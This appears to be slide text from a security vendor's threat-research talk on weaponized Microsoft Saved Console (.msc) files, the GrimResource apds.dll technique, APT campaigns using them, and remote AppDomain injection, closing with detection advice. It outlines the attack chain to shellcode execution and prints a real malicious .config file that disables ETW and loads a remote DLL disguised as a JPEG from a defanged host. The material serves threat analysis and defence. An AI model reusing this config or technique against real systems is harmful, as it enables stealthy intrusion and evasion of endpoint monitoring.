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MSC Files and Weaponization
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What are MSC Files

• .MSC files, also known as Microsoft Saved Console files, 

      are snap-in control files that open in the Microsoft Management Console 

      with a Graphical User Interface (GUI). 
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MMC and MSC
Basics

• MMC: Microsoft Management Console, used for admin tasks.

• MSC: XML-based file format for saving custom MMC setups.

• MMC uses snap-ins (e.g., ActiveX, Web link) for specific functions.

Exploit Components

• ActiveX Control Snap-in: Allows loading arbitrary COM objects (via CLSID).

• Link to Web Address Snap-in: Embeds Internet Explorer to display HTML/JS.

• HTML can access external.Document.ActiveView.ControlObject.

The Technique

• Load MSXML ActiveX object in MMC via snap-in.

• Display HTML page via "Link to Web Address".

• Use JavaScript to:

• Get reference to the MSXML object.

• Trigger XSLT transform that executes JScript.

• Execute shellcode or .NET via JScript (e.g., DotNetToJScript).

• All in-process, bypassing many endpoint defenses.
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GrimResource injection

• It uses some properties inside the MSC configuration file to do icon spoofing, ideal to 

entice the user to open
• Also has a provision to use transformNode obfuscation technique that evades ActiveX 

security warnings traditionally found in legitimate .msc

• The key to the GrimResource technique is using an old XSS flaw present in 
the apds.dll library, which can be called from MSC files

https://gist.github.com/joe-desimone/2b0bbee382c9bdfcac53f2349a379fa4
https://medium.com/@knownsec404team/from-http-domain-to-res-domain-xss-by-using-ie-adobes-pdf-activex-plugin-ba4f082c8199
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C:\Windows\System32\apds.dll Loading ...

GrimResource injection
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C:\Windows\System32\apds.dll Loading ...

GrimResource injection
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Observed MSC 
Weaponization Methods
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MSC Weaponization Methods
Type 1: MMC-Based Command Execution ("ShadowMMC")

• Attack Vector:
Abuses the Console Taskpad functionality within the Microsoft Management Console to 
execute arbitrary commands.

• Disguise Method:
It is usually disguised as icons that mimic document files or folders.

• Key Characteristics:

• Executes commands via MMC interface.

• Drops and opens a bait document to distract the user during execution.

• Designed to blend into typical user workflows.
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MSC Weaponization Methods
Type 2: Vulnerability-Based Payload Execution (” GrimResource")

• Attack Vector:
Exploits a vulnerability in apds.dll (CVE-2024-43572) to execute malicious payloads.

• Disguise Method:
Leverages the ability to customize file icons, commonly masquerading as PDF or Word 
documents to appear benign.

• Objective:
Achieves initial infection through social engineering and file impersonation, targeting users who 
unknowingly execute the disguised file.
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Variants 
Apds.dll obfuscation
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MSC Weaponization Methods

Type 3: GrimResource++ 

• No need to use redirect in adps.dll 

• Payload can be hosted anywhere the embedded browser understands (SMB share, local file, web).
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Distribution of Malware by Exploitation Method

MSC
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Case Study- LARVA 208
Larva 208 consistently utilizes MSC files in its operations.

• In late March 2025, it was reported that Larva-208 leveraged CVE-2025-26633 to execute 
malicious code through manipulated .msc files. By exploiting the vulnerability, the actor was 
able to load a malicious MSC file that had been weaponized using Type 3.

• These files were often disguised as legitimate tools, such as:

• compmgmt.msc, devmgmt.msc, winmgmt.msc

• This threat actor used this method in the later stages of the attack chain; however, our analysis 
suggests that Larva-208 began using .msc files weaponized with Type 3 as an initial infection 
vector as early as May 2024.

• In one analyzed case, the final payload was identified as Fickle Stealer.

• Example malicious files:

• Document Singer.msc

• R_plugin_latst.msc
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History of APT MSC 
Weaponization 
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APT distributions
9 known groups
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Monthly view April 2024 – May 2025
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Target Countries/Verticals
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MSC Files Distribution
•

APT ACTIVITY

• HTML smuggling (Link to html files): Mustang Panda, 

MimiStick

• Meeting103.html

• Link to archive files: Kimsuky, Bitter

• Letter355-ECDAgents.rar
• Archive files as attachment: Earth Baxia

• 水域污染詳細訊息.zip

O V E R V I E W
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Observed Icons used in MSC Files
Custom icons and hidden window
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Distributed Malware Families 

• Mustang Panda: PlugX, TONESHELL, PUBLOAD

• APT32: CobaltStrike

• Kimsuky: BlueShark

• MimiStick: Siler Framework

• Earth Baxia: Cobalt Strike, EagleDoor

• Rhadamanthys
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First Campaign- KIMSUKY APT
April 2024

MSC
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September Campaign- KIMSUKY APT
September 2024

MSC
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Remote AppDomainInjection
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App Domain / Injection

• Imagine a .NET AppDomain as a quirky sandbox where code plays.

• The AppDomainManager it’s the strict playground supervisor

• The CLR calls on this manager when a .NET app boots up. 

• It is deprecated and are no longer supported. 

• Local App Domain Injection, a sneaky trick since 2020 (MITRE ID: T1574.014), dodges image load alerts 

and hides from sysmon’s Event ID 7.

• Remote version? First spotted in August 2024, courtesy of APT41 (Earth Baxia) and GrimResource—total 

mischief makers!
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Remote App Domain Injection

<configuration>

   <runtime>

      <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">

         <dependentAssembly>

            <assemblyIdentity name="oncesvc" publicKeyToken="205fcab1ea048820" culture="neutral" />

            <codeBase version="0.0.0.0" href="https[:]//360photo[.]oss-cn-hongkong[.]aliyuncs[.]com/202407111985.jpeg"/>

         </dependentAssembly>

      </assemblyBinding>

      <etwEnable enabled="false" />

      <appDomainManagerAssembly value="oncesvc, Version=0.0.0.0, Culture=neutral, PublicKeyToken=205fcab1ea048820" />

      <appDomainManagerType value="oncesvc" />

   </runtime>

</configuration>

Seen for the first time being leveraged by APT41 (Earth Baxia) back in 

August 2024, coupled with GrimResource.
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Loading Remote DLLs

https://gist.github.com/byt3bl33d3r/de10408a2ac9e9ae6f76ffbe565456c3
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Here we see the execution of oncesvc.exe loading the remote  DLL 

resource masqueraded as a jpeg

Emulating Remote AppDomain Injection



31© Fortinet Inc. All Rights Reserved. 31© Fortinet Inc. All Rights Reserved.

Diskless AppDomain Injection

Fileless AppDomain Injection
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Detection Opportunities
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Detection Opportunities

MSC Injection 

Caveats 

• MSC tricks are still popping up, and some sneaky new files in VT barely raise eyebrows. 

• If attackers snag Admin rights and drop files in system folders, some SIGMA rules snooze—

they’re too focused on non-system spots.

• Runs inside mmc.exe — a signed Windows binary.
• No child processes necessarily spawned.

• Loading of APDS.DLL is done via non-standard way, and quickly is unmapped

o DLL is being quick mapped and unmapped into memory, which explains why it’s not 

in the Symbols tab.

o It’s either being manually mapped (injection-style), or just inspected/used without 
finalizing the load. 
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Detection Opportunities

MSC Injection 

If a DLL is loaded as data and then immediately unmapped, it's likely used for:

•Localization strings

•Resource loading

•Config parsing (embedded data)

•Or simply recon by malware, loading and inspecting version info/resource data

Color State Meaning

 Orange Mapped (Pre-init)

DLL is mapped into memory via NtMapViewOfSection, 

but DllMain has not yet been called. This is a pre-

initialization state.

 Green Initialized
DllMain(DLL_PROCESS_ATTACH) was called. The DLL 

is now part of the module list, active and initialized.

 Red Unmapped / Freed

DLL was unloaded (e.g., via FreeLibrary, 

NtUnmapViewOfSection). It’s no longer present in the 

process memory.

 

Disappeared
Unlinked / Erased

Completely removed — usually after a quick 

load/unload or manual mapping. Not visible in 

symbols, module list, or memory.
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Detection Opportunities

MSC Injection

Best Detection Strategies
• Setting up ETWs to look for suspicious dll loads
• Spotting other DLLs like jscript.dll, vbscript.dll, or msxml3.dll loading with apds.dll can tip off 

EDRs. 

• Look for a quirky temp HTML file named “redirect[*]” in the INetCache folder—APDS XSS 

redirect’s calling card!

• mmc.exe Network or File Activity: Monitor MMC reaching out to:
• External web resources, SMB shares

• Look for .msc files opening HTML or .xsl content

• Suspicious MSC files

• Embedded CLSIDs (e.g., MSXML)

• Embedded URLs or javascript: links
• Behavioral 

• JavaScript making ActiveX calls from MMC context

• Any use of external.Document.ActiveView.ControlObject
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AppDomain Injection
Detection Opportunities

Caveats 

• SysMon rules and other tools miss CLR injection, it will show up on ETW consumers just 

after the fact like ProcessHacker. If ETW hasn’t been disabled (it generally is)

• Spotting loaded assemblies via Event Tracing for Windows (ETW) works, but attackers can 

dodge it by disabling ETW—leaving the “.NET Assemblies” tab blank, as MDSec’s Adam 

Chester hilariously proved. Also you can disable it from the .config file !!

Best Detection Hacks 
• Threat hunters, skip assembly loading info—dig into .NET process memory for shady signs, 

like DLLs with “PAGE_EXECUTE_WRITECOPY” (WCX) protection. 

• Malicious payload analysis will reveal that they most likely use obfuscating syscalls and 

memory handling and thread manipulation which might be a good indication of maliciousness
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